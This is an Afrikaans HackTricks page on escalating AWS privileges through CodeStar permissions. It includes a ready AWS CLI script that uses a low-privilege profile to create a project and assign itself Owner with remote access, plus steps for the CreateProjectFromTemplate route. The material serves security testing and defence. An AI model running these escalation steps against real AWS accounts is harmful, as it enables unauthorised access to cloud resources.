AWS - Codestar Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Codestar

Jy kan meer inligting oor codestar vind in:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Met hierdie toestemmings kan jy misbruik maak van ’n codestar IAM Rol om arbitraire aksies deur ’n cloudformation sjabloon uit te voer. Kyk na die volgende bladsy:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Hierdie tegniek gebruik codestar:CreateProject om ’n codestar projek te skep, en codestar:AssociateTeamMember om ’n IAM gebruiker die eienaar van ’n nuwe CodeStar projek te maak, wat hulle ’n nuwe beleid met ’n paar ekstra toestemmings sal gee.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

As jy reeds ’n lid van die projek is, kan jy die toestemming codestar:UpdateTeamMember gebruik om jou rol na eienaar te verander in plaas van codestar:AssociateTeamMember.

Potensiële Impak: Privesc na die codestar beleid wat gegenereer is. Jy kan ’n voorbeeld van daardie beleid vind in:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Skep ’n Nuwe Projek:
  • Gebruik die codestar:CreateProjectFromTemplate aksie om die skepping van ’n nuwe projek te begin.
  • Na suksesvolle skepping, word toegang outomaties toegestaan vir cloudformation:UpdateStack.
  • Hierdie toegang teiken spesifiek ’n stapel wat geassosieer is met die CodeStarWorker-<generic project name>-CloudFormation IAM rol.
  1. Werk die Teikenstapel Op:
  • Met die toegewyde CloudFormation toestemmings, gaan voort om die gespesifiseerde stapel op te dateer.
  • Die stapel se naam sal tipies aan een van twee patrone voldoen:
  • awscodestar-<generic project name>-infrastructure
  • awscodestar-<generic project name>-lambda
  • Die presiese naam hang af van die gekose sjabloon (verwys na die voorbeeld uitbuitingskrip).
  1. Toegang en Toestemmings:
  • Na die opdatering, verkry jy die vermoëns wat aan die CloudFormation IAM rol gekoppel is met die stapel.
  • Let op: Dit bied nie inherent volle administrateur regte nie. Bykomende verkeerd geconfigureerde hulpbronne binne die omgewing mag benodig word om regte verder te verhoog.

Vir meer inligting, kyk na die oorspronklike navorsing: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Jy kan die uitbuiting vind in https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potensiële Impak: Privesc na cloudformation IAM rol.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks